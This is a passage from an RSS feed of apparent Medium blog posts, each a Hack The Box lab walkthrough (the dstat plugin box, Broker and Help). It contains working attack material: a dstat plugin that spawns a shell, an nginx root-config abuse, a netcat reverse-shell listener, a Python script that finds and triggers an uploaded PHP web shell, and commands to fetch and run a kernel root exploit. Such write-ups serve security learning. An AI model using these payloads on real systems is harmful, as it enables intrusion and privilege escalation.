enumeration process by checking group memberships and searching for files or directories that might be writable by those groups.</p><pre>id</pre><p>The output showed that the user belonged to the <strong>players</strong> group. To determine whether this group had any special privileges, I searched for files and directories owned by or accessible to the group.</p><p>During this process, I discovered the following directory:</p><pre>/usr/local/share/dstat/</pre><p>This immediately caught my attention because I had encountered the same directory earlier while exploring the machine from the initial foothold. At that time, access was denied due to insufficient permissions. Now that I was operating as the player user and was a member of the <strong>players</strong> group, I had the necessary permissions to inspect its contents.</p><p>Since dstat supports loading external plugins, writable or controllable plugin directories can sometimes be abused to execute arbitrary code. This made /usr/local/share/dstat/ a promising privilege escalation vector, so I investigated it further.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*KUl-FNMA-YZ9CSB8epMKTQ.png" /></figure><h3>Exploiting the dstat Plugin Mechanism</h3><p>Further research revealed that dstat loads Python plugins when executed. Since the player user had permission to write to the plugin directory, I created a malicious plugin containing the following Python code:</p><pre>import os<br>os.execl(&quot;/bin/sh&quot;, &quot;sh&quot;)</pre><p>The payload simply replaces the running process with a /bin/sh shell. When dstat loads the plugin while running with elevated privileges, the code executes and spawns a root shell.</p><p>To identify the appropriate way to invoke dstat, I referred to the GTFOBins entry for dstat, which documents how the plugin functionality can be abused for privilege escalation.</p><p>After executing dstat with the malicious plugin, I obtained a root shell and verified full administrative access by reading the root flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rZst68xPEU_dcxZyNLFNZA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FVznEKGLiBNmDG3w9YJlvg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cbe750698225" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB_LABS:Broker]]></title>
            <link>https://medium.com/@sethiuddhav/htb-labs-broker-20789a114227?source=rss-c82ff8e6b08d------2</link>
            <guid isPermaLink="false">https://medium.com/p/20789a114227</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[broker]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Uddhav Sethi]]></dc:creator>
            <pubDate>Tue, 23 Jun 2026 06:52:24 GMT</pubDate>
            <atom:updated>2026-06-23T06:52:24.438Z</atom:updated>
            <content:encoded><![CDATA[<h3>Enumeration</h3><p>As always, I began by performing a full TCP port scan with service and version detection enabled.</p><pre>sudo nmap -sV -p- --min-rate 5000 -T4 10.129.173.247</pre><p>The scan identified several interesting services:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y2WeDWby-lPekxmY1lvkaQ.png" /></figure><p><strong>Apache ActiveMQ </strong>is a <strong>message broker</strong> that allows applications and services to communicate with each other by exchanging messages. Its native protocol is <strong>OpenWire</strong>, but it also supports other protocols such as <strong>STOMP, MQTT, and AMQP.</strong></p><p><strong>“Message broker”</strong> is the standard term, not “message broadcasting service.”</p><p>Think of it as a <strong>post office for software</strong>:</p><pre>Application A<br>      |<br>      v<br>   ActiveMQ<br>   /     \<br>  v       v<br>App B   App C<br><br>Application A sends a message to ActiveMQ, <br>and ActiveMQ decides who should receive it.</pre><p>ActiveMQ doesn’t just broadcast messages; it can also:</p><ul><li>Queue messages for later delivery</li><li>Route messages to specific consumers</li><li>Publish messages to multiple subscribers</li></ul><p>Many enterprise applications are written in Java:</p><ul><li>Jenkins</li><li>ActiveMQ</li><li>Jira</li><li>Confluence</li><li>Tomcat-based apps</li></ul><p>These applications often need a web interface.</p><h3>What is Jetty?</h3><p>Jetty is a Java web server.</p><p>Think of it as:</p><blockquote><em>Nginx, but designed to work closely with Java applications.</em></blockquote><p>It handles:</p><pre>Browser Request<br>       |<br>       v<br>     Jetty<br>       |<br>       v<br> Java Application</pre><p>Normally:</p><pre>Nginx  --&gt; Website</pre><p>are separate programs.</p><p>But many Java applications include Jetty <strong>inside themselves</strong>.</p><p>Imagine ActiveMQ starts up:</p><pre>ActiveMQ<br>├─ Message Broker<br>└─ Jetty Web Server</pre><p>Jetty runs as part of ActiveMQ.</p><p>You don’t install a separate website.</p><p>ActiveMQ already contains Jetty.</p><p>This is called an <strong>embedded web server</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vRFZzWT4TQM6hFleKmxPEA.png" /></figure><p>when i tried to visit the the website, it prompts for username and password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*Tat_jk8rC5-1-zLejjbSAQ.png" /></figure><p>I could see no direct attack path.</p><h3>Identifying the Vulnerability</h3><p>After gaining access to the Apache ActiveMQ web interface, I began researching the service version to determine whether any public vulnerabilities existed.</p><p>The target was running <strong>Apache ActiveMQ 5.15.15</strong>, which immediately caught my attention because it was not the latest release. A quick search for known vulnerabilities affecting this version led me to <strong>CVE-2023–46604</strong>, a critical remote code execution vulnerability in Apache ActiveMQ.</p><p>According to the advisory, the vulnerability abuses the OpenWire protocol’s deserialization process, allowing an attacker to instantiate arbitrary classes and achieve remote code execution on vulnerable ActiveMQ instances.</p><p>To exploit the issue, I used a publicly available proof-of-concept from GitHub:</p><p><a href="https://github.com/rootsecdev/CVE-2023-46604">https://github.com/rootsecdev/CVE-2023-46604</a></p><p>Following the repository instructions, I generated a malicious XML payload and hosted it locally using a Python HTTP server. The exploit then instructed the vulnerable ActiveMQ service to retrieve and process the payload from my machine.</p><p>Once the payload was delivered successfully, a reverse shell connection was established back to my listener, providing command execution on the target system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*qhNAqywpJzxrEItnvdY_ow.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hbom3Zqlve0V8jE3RY6XrQ.png" /></figure><p>And i got the user shell due to this exploit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/1*UoitGFsp-K1pvG5DmnSK-w.png" /></figure><h3>Privilege Escalation</h3><p>With the user flag obtained, I began enumerating the system for potential privilege escalation vectors.</p><p>The first step was to check for sudo privileges:</p><pre>sudo -l</pre><p>The output revealed an interesting sudo rule:</p><pre>(ALL : ALL) NOPASSWD: /usr/sbin/nginx</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*9n66DXzFAYl1VQOjFseDzQ.png" /></figure><p>This configuration allows the <strong>activemq</strong> user to execute Nginx as root without providing a password. Whenever a binary can be executed through sudo, it is important to investigate whether it offers functionality that could be abused to obtain elevated privileges.</p><p>To better understand the available options, I reviewed the Nginx help menu:</p><pre>/usr/sbin/nginx -h</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*5m5KlCZRZJ8Y84KTxvxLZA.png" /></figure><p>The help output showed that Nginx supports the -c argument, which allows the user to specify an alternative configuration file.</p><pre>-c filename    set configuration file</pre><p>This immediately stood out because if Nginx is executed as root and loads a configuration file under our control, we may be able to abuse that configuration to perform actions with root privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*b-nCIwHP0qeZugVA-EToIA.png" /></figure><h3>Abusing Nginx Configuration Loading</h3><p>Since Nginx could be executed as root and allowed a custom configuration file via the -c option, I created a malicious configuration file in /tmp.</p><p>The configuration was designed to write arbitrary data to a file owned by root. By leveraging this behavior, I was able to place my SSH public key into the root user’s authorized_keys file.</p><p>After starting Nginx with the custom configuration:</p><pre>sudo /usr/sbin/nginx -c /tmp/nginx.conf</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6n20y6HEgIH_nwq4oyh-cw.png" /></figure><pre>cat &gt; /tmp/pwn.conf &lt;&lt; EOF<br>user root;<br>worker_processes 1;<br>pid /tmp/nginx.pid;<br>events { worker_connections 1024; }<br>http {<br>    server {<br>        listen 1337;<br>        root /;<br>        autoindex on;<br>        location / {<br>            try_files \$uri \$uri/ =404;<br>        }<br>    }<br>}<br>EOF</pre><p>This tells nginx:</p><ul><li>Run workers as root</li><li>Store the PID file in /tmp (so nginx can start without permission issues)</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=20789a114227" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB_labs:Help]]></title>
            <link>https://medium.com/@sethiuddhav/htb-labs-help-9342aa21cad2?source=rss-c82ff8e6b08d------2</link>
            <guid isPermaLink="false">https://medium.com/p/9342aa21cad2</guid>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[help]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Uddhav Sethi]]></dc:creator>
            <pubDate>Mon, 22 Jun 2026 07:11:55 GMT</pubDate>
            <atom:updated>2026-06-22T07:11:55.005Z</atom:updated>
            <content:encoded><![CDATA[<h3>Enumeration</h3><p>I began by performing a full TCP port scan with service and version detection:</p><pre>sudo nmap -sV -p- --min-rate 5000 -T4 10.129.230.159</pre><h3>Scan Results</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*xsuc0x5103CSL15IxwLdIQ.png" /></figure><p>The Nmap fingerprinting also suggested the target is running a <strong>Linux</strong> operating system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M3B_M1nHORngRap5dYz5YA.png" /></figure><p>This is the website running on port 3000.</p><h3>GraphQL</h3><p>GraphQL lets the <strong>client choose the fields</strong>.</p><p>You tell the server:</p><pre>{<br>  user {<br>    username<br>    bio<br>    followers<br>  }<br>}</pre><p>Which means:</p><blockquote><em>“Give me the user, but only these three pieces of information.”</em></blockquote><p>The server responds:</p><pre>{<br>  &quot;data&quot;:{<br>    &quot;user&quot;:{<br>      &quot;username&quot;:&quot;shiv&quot;,<br>      &quot;bio&quot;:&quot;student&quot;,<br>      &quot;followers&quot;:100<br>    }<br>  }<br>}</pre><p>Older website used REST-each application has its own API, If u want username u might ask for /user if you want profile pic you might do something like /profile_pic. Think of it as a restaurant: If you want burger you go to burger counter and if you want cold drink you got to cold drink counter. That’s rest API.</p><p>With graphQL there is one single counter. You go to counter and tell your order and get it whatever you said at one counter only.</p><p><strong>BUT</strong></p><p>GraphQL has nothing to do with SQL.</p><p>SQL Talks to a database and is Used by backend developers,Reads/writes database tables:Runs inside MySQL, PostgreSQL, SQLite, etc.</p><p>GraphQL Talks to an API and is Used by frontend/mobile apps, Requests data from a server: Runs inside a web application</p><p>The GraphQL server receives that request and <strong>internally may execute SQL</strong>:</p><p>SELECT username,password<br>FROM users;</p><p>hen returns:</p><pre>{<br>  &quot;data&quot;: {<br>    &quot;user&quot;: {<br>      &quot;username&quot;: &quot;shiv&quot;,<br>      &quot;password&quot;: &quot;secret123&quot;<br>    }<br>  }<br>}</pre><p>GraphQL sits <strong>between the user and the database</strong>.</p><h3>What is Swagger?</h3><p>Swagger is a tool developers use to document APIs.</p><p>Imagine the developer writes:</p><pre>/api/users<br>/api/login<br>/api/admin</pre><p>Swagger automatically generates a webpage showing:</p><ul><li>All endpoints</li><li>Required parameters</li><li>Request formats</li><li>Response formats</li><li>Authentication methods</li></ul><p>For a pentester, finding Swagger is like finding the answer sheet.</p><h3>Example Swagger Page</h3><p>If you visit:</p><pre>http://help.htb/swagger</pre><p>you might see:</p><pre>GET /api/users<br>POST /api/login<br>GET /api/admin</pre><p>along with examples like:</p><pre>{<br>  &quot;username&quot;: &quot;admin&quot;,<br>  &quot;password&quot;: &quot;password&quot;<br>}</pre><p>Now you know exactly how to talk to the API.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CY1c-3RZP3FWsjg4qbPJfQ.png" /></figure><pre>{&quot;data&quot;:{&quot;user&quot;:{&quot;username&quot;:&quot;helpme@helpme.com&quot;,&quot;password&quot;:&quot;5d3c93182bb20f07b994a7f617e99cff&quot;}}}</pre><p>This is clearly a password hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*l3h-2vV5oIrCl4QSCaAAxg.png" /></figure><h3>Gaining Initial Access</h3><p>After enumerating the GraphQL API, I discovered that sensitive user information was exposed through an unauthenticated query. One of the returned fields contained an MD5 password hash associated with the account helpme@helpme.com.</p><p>The hash was saved locally and cracked using John the Ripper with the rockyou wordlist. This revealed the password:</p><pre>godhelpmemplz</pre><p>Using these credentials, I successfully authenticated to the HelpDeskZ support portal running on the target.</p><h3>Discovering the File Upload Vulnerability</h3><p>Once authenticated, I began exploring the application’s functionality. The ticketing system allowed users to create support tickets and attach files.</p><p>Since file upload functionality is a common attack surface, I investigated how uploaded files were handled. Researching the application version revealed that HelpDeskZ 1.0.2 contains a known unrestricted file upload vulnerability.</p><p>Although the application attempted to restrict executable files, a flaw in the upload validation logic allowed attackers to bypass these restrictions and upload malicious PHP files.</p><h3>Achieving Remote Code Execution</h3><p>I used a publicly available exploit targeting the vulnerable upload mechanism. The exploit uploaded a PHP web shell through the ticket attachment feature and generated the location of the uploaded file.</p><p>After triggering the uploaded payload, the target server executed my PHP code and initiated a reverse shell connection back to my attacking machine.</p><pre>nc -lvnp 4444</pre><p>A connection was received, providing command execution on the target host.</p><h3>Obtaining User Access</h3><p>The reverse shell initially ran as the web server user. After stabilizing the shell, I performed local enumeration and navigated through the filesystem.</p><p>Inside the /home/help directory, I found the user flag:</p><pre>cd /home/help<br>cat user.txt</pre><p>This confirmed successful user-level access to the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*VY1Mjhyj2QU9BtL50QpblA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/1*PbjA0Dy0gOXKeB84Y1LyfQ.png" /></figure><p>got the user shell</p><h3>my python exploit:</h3><p>python3 HelpExploit.py <a href="http://help.htb/support/uploads/tickets/">http://help.htb/support/uploads/tickets/</a> rev.php</p><p>where rev.php is the file i uploaded.</p><pre>import hashlib<br>import time<br>import sys<br>import requests<br>import datetime<br><br>print(&#39;Helpdeskz v1.0.2 - Unauthenticated shell upload exploit&#39;)<br><br>if len(sys.argv) &lt; 3:<br>    print(&quot;Usage: {} [baseUrl] [filename]&quot;.format(sys.argv[0]))<br>    sys.exit(1)<br><br>base = sys.argv[1].rstrip(&#39;/&#39;)<br>filename = sys.argv[2]<br><br># Get server time<br>try:<br>    r = requests.get(base, timeout=10)<br>    server_time = int((datetime.datetime.strptime(r.headers[&#39;date&#39;], &#39;%a, %d %b %Y %H:%M:%S %Z&#39;) - datetime.datetime(1970,1,1)).total_seconds())<br>    print(f&quot;[+] Server time: {server_time}&quot;)<br>except:<br>    server_time = int(time.time())<br>    print(&quot;[!] Using local time&quot;)<br><br>print(&quot;[+] Searching for shell (this may take a minute)...&quot;)<br><br>for x in range(0, 1200):<br>    ts = server_time - x<br>    plaintext = filename + str(ts)<br>    md5hash = hashlib.md5(plaintext.encode()).hexdigest()<br>    <br>    for path in [&quot;&quot;, &quot;/uploads&quot;, &quot;/support/uploads&quot;, &quot;/uploads/&quot;]:<br>        url = f&quot;{base}{path}/{md5hash}.php&quot;<br>        try:<br>            res = requests.head(url, timeout=3)<br>            if res.status_code == 200:<br>                print(&quot;\n[+] SHELL FOUND!&quot;)<br>                print(f&quot;[+] URL → {url}&quot;)<br>                print(f&quot;[+] Triggering reverse shell now...&quot;)<br>                requests.get(url, timeout=5)   # Trigger the shell<br>                sys.exit(0)<br>        except:<br>            pass<br><br>print(&quot;[-] Could not find the shell. Try re-uploading.&quot;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*7PZVl5Gbe62I6BKUydxvOw.png" /></figure><h3>Privilege Escalation</h3><p>After obtaining user-level access, I began local enumeration to identify potential privilege escalation vectors.</p><p>Checking the kernel version revealed:</p><pre>uname -a</pre><pre>Linux help 4.4.0-116-generic</pre><p>Researching this kernel version identified a known local privilege escalation vulnerability, <strong>CVE-2017–16995</strong>, affecting the Linux eBPF subsystem.</p><p>A public proof-of-concept exploit was available on Exploit-DB. To use it, I downloaded the exploit on my attacking machine and hosted it using a simple Python HTTP server:</p><pre>wget https://www.exploit-db.com/raw/44298 -O 44298.c<br>python3 -m http.server 8000</pre><p>The target machine successfully retrieved the exploit source file from my HTTP server.</p><p>To avoid restrictions commonly associated with /tmp, I worked from /dev/shm, a world-writable temporary filesystem stored in memory. This location is often useful during post-exploitation because it allows temporary files to be created without writing directly to disk.</p><p>After transferring the exploit to the target, I compiled and executed it from /dev/shm:</p><pre>cd /dev/shm<br>gcc 44298.c -o exploit<br>chmod +x exploit<br>./exploit</pre><p>The exploit successfully abused CVE-2017–16995 and spawned a root shell.</p><p>Privilege escalation was confirmed using:</p><pre>id</pre><pre>uid=0(root) gid=0(root) groups=0(root)</pre><p>With root privileges obtained, I accessed the final flag located in /root/root.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*K39j159Ktp2opvG_pQl_ug.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*8BFvvtIjKGbiFyIGDlMu2g.png" /></figure><ul><li><strong>Best practice for this box</strong>: Always prefer compiling on-target when possible for CVE-2017–16995.</li><li>When i transfered the pre compiled file directly it cause version diffrences between my machine and the target machine causing failure of exploit. Instead i compiled on the attack target machine itself then this version mismatch did not occour since the compiler used the toolset of the target machine only.</li><li>Use /dev/shm for kernel exploits.</li></ul><p>Both /tmp and /dev/shm are commonly used by attackers, pentesters, and administrators to store temporary files, but they work differently.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*YhoZ8BTjufgVWBI1vebwsA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9342aa21cad2" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>